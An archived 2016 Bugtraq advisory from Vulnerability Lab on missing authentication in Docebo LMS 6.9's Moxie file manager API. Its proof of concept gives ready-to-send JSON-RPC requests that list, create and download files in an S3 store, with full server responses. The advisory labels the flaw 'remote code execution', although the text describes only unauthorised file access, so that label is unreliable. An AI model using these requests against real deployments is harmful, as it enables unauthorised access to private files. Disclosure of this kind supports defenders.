| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <687e2fed-de67-620e-1697-b866b2474b30@vulnerability-lab.com>
Date: Tue, 2 Aug 2016 11:06:19 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: bugtraq@...urityfocus.com, bugs@...uritytracker.com
Subject: Docebo LMS 6.9 - (Moxie) API Calls RST Remote Code Execution
Vulnerability
Document Title:
===============
Docebo LMS 6.9 - (Moxie) API Calls RST Remote Code Execution Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1888
Video: http://www.vulnerability-lab.com/get_content.php?id=1892
Release Date:
=============
2016-08-02
Vulnerability Laboratory ID (VL-ID):
====================================
1888
Common Vulnerability Scoring System:
====================================
7.3
Product & Service Introduction:
===============================
Docebo is a SAAS/Cloud platform for e-learning, also known as a learning management system.From the Latin word, docere. Docebo is used
for corporate learning and has interfaces for videoconferencing and HR systems. Using an online system for learning and training cuts
down time needed and costs that would be used on such things as printing and distributing materials.
(Copy of the Vendor Homepage: https://www.docebo.com/learning-management-system-lms/ & https://en.wikipedia.org/wiki/DoceboLMS )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a remote code execution vulnerability in the official Docebo LMS 6.9 web-application.
Vulnerability Disclosure Timeline:
==================================
2016-07-01: Researcher Notification & Coordination (Lawrence Amer)
2016-07-02: Vendor Notification (LMS Security Team)
2016-**-**: Vendor Response/Feedback (LMS Security Team)
2016-**-**: Vendor Fix/Patch (LMS Service Developer Team)
2016-08-02: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Docebo
Product: Docebo LMS - Content Management System (Web-Application) 6.9
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
API calls REST auth Vulnerability has been discovered in the official Docebo LMS web-application.
Remote attackers with low user privilege are able to send Json Api request through Moxie file manager api without
secure authentication rules, the vulnerability is located in the module `../moxiemanager/api.php`. User with low
privileged access rights are able to send REST calls through vulnerable module to do many actions allowed by the
current module `moxie`. The vulnerable parameters `action,json` allow remote attackers to execute Commands
`Create,List,Download,view`. Due to our investigation we discovered that moxie file manager is included in the
whole functionality of Docebo LMS as materials uploader, used only by admins to customize files, images and to
manage them.
1.1
Attackers are able to retrieve list of filenames, paths of files uploaded by Docebo admins and others users even it is private data, the vulenrable
module moxie allows remote attackers to gain access to S3 package which responsible for storing users, admin images, files and other sensitive data.
1.2
Remote attackers are able to create files and folders names inside the S3 package of cloudfront account without approval or secure authentication.
1.3
Attackers are able to download files uploaded by administrators or other users through api rst function called "download". Files are downloadable
from cloudfront s3 account without secure authentication.
Vulnerable Module(s):
[+]/moxiemanager/api.php
Vulnerable parameter(s):
[+]json
[+]action
Request Method(s):
[+] POST
Request Type(s):
[+] Json
Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers without user interaction or privileged web-application user accounts.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
1. Remote attackers can send REST calls through any REST console, by following the instruction below:
#1
URL : http://docebosaas.localhost:8080/moxiemanager/api.php
Request type : POST
Content header : application/x-www-form-urlencoded
Encoding : gzip
RAW Body :
json=%7B%22id%22%3A%22i1%22%2C%22method%22%3A%22listFiles%22%2C%22params%22%3A%7B%22path%22%3A%22%2FS3%22%2C%22filter
%22%3A%22%22%2C%22orderBy%22%3A%22name%22%2C%22desc%22%3Afalse%2C%22offset%22%3A0%2C%22length%22%3A200%2C%22lastPath%22%3Anull%7D%2C%22jsonrpc%22%3A%222.0%22%7D
--- POC LOGS ---
Content-Type: application/x-www-form-urlencoded
Accept: */*
Connection: keep-alive
Origin: chrome-extension: //rest-console-id
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36
Request Url: https://vulnlab.docebosaas.com/moxiemanager/api.php
Request Method: POST
Status Code: 200
Params: {}
--- RESPONSE LOGS ---
{
"jsonrpc": "2.0",
"result": {
"columns": ["name", "size", "modified", "attrs", "info"],
"config": {
"general.hidden_tools": "",
"general.disabled_tools": "",
"filesystem.extensions": "jpg,jpeg,png,gif",
"filesystem.force_directory_template": false,
"upload.maxsize": "100MB",
"upload.chunk_size": "5mb",
"upload.extensions": "*",
"createdoc.templates": "",
"createdoc.fields": "Document title=title",
"createdir.templates": ""
},
"file": {
"path": "/S3",
"size": 0,
"lastModified": 1469569618,
"isFile": false,
"canRead": true,
"canWrite": true,
"canEdit": false,
"canRename": true,
"canView": false,
"canPreview": false,
"exists": true,
"meta": {
"url": "https://d36spl5w3z9i0o.cloudfront.net/files/v/u/vulnlab_docebosaas_com/userfiles/13013/13013"
}
},
"urlFile": null,
"data": [
["lawrenc", 0, 0, "drwr----",
{}],
["lawrence", 0, 0, "drwr----",
{}],
["lawrenceamer", 0, 0, "drwr----",
{}]
],
"url": "https://d36spl5w3z9i0o.cloudfront.net/files/v/u/vulnlab_docebosaas_com/userfiles/13013/13013",
"thumbnailFolder": false,
"thumbnailPrefix": false,
"offset": 3,
"last": true
},
"id": "i1"
}
#2
1. Remote attackers can send REST calls through any REST console, by following the instruction below:
URL : http://docebosaas.localhost:8080/moxiemanager/api.php
Request type : POST
Content header : application/x-www-form-urlencoded
Encoding : gzip
RAW Body :
json=%7B%22id%22%3A%22i9%22%2C%22method%22%3A%22createDirectory%22%2C%22params%22%3A%7B%22path%22%3A%22%2FS3%2Fvulnlab%22%7D%2C%22jsonrpc%22%3A%222.0%22%7D
--- POCS LOGS ---
Content-Type: application/x-www-form-urlencoded
Accept: */*
Connection: keep-alive
Origin: chrome-extension: //rest-console-id
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36
Request Url: https://vulnlab.docebosaas.com/moxiemanager/api.php
Request Method: POST
Status Code: 200
Params: {}
--- RESPONSE LOGS ---
{
"jsonrpc": "2.0",
"result": {
"path": "/S3/vulnlab",
"size": 0,
"lastModified": 0,
"isFile": false,
"canRead": true,
"canWrite": true,
"canEdit": false,
"canRename": true,
"canView": false,
"canPreview": false,
"exists": true,
"meta": {
"url": "https://d36spl5w3z9i0o.cloudfront.net/files/v/u/vulnlab_docebosaas_com/userfiles/13013/vulnlab"
}
},
"id": "i9"
}
#3
1. Remote attacker with low user privileges can use the link below to get files uploaded into S3 package as zip downloadable package.
URL: https://docebosaas.localhost:8080/moxiemanager/api.php?action=download&path=/S3&names=NAMEOFIFLE.jpg&zipname=files.zip
2. successfully reproduce the issue .
PoC: Video
https://www.youtube.com/watch?v=YF57jTPESgQ
Security Risk:
==============
The security risk of the remote code execution vulnerability in the api calls function of the web-application is estimated as high. (CVSS 7.3)
Credits & Authors:
==================
Core Research Team - Lawrence Amer (http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer)
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied,
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage,
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@...nerability-lab.com - research@...nerability-lab.com - admin@...lution-sec.com
Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@...nerability-lab.com) to get a ask permission.
Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
Powered by blists - more mailing lists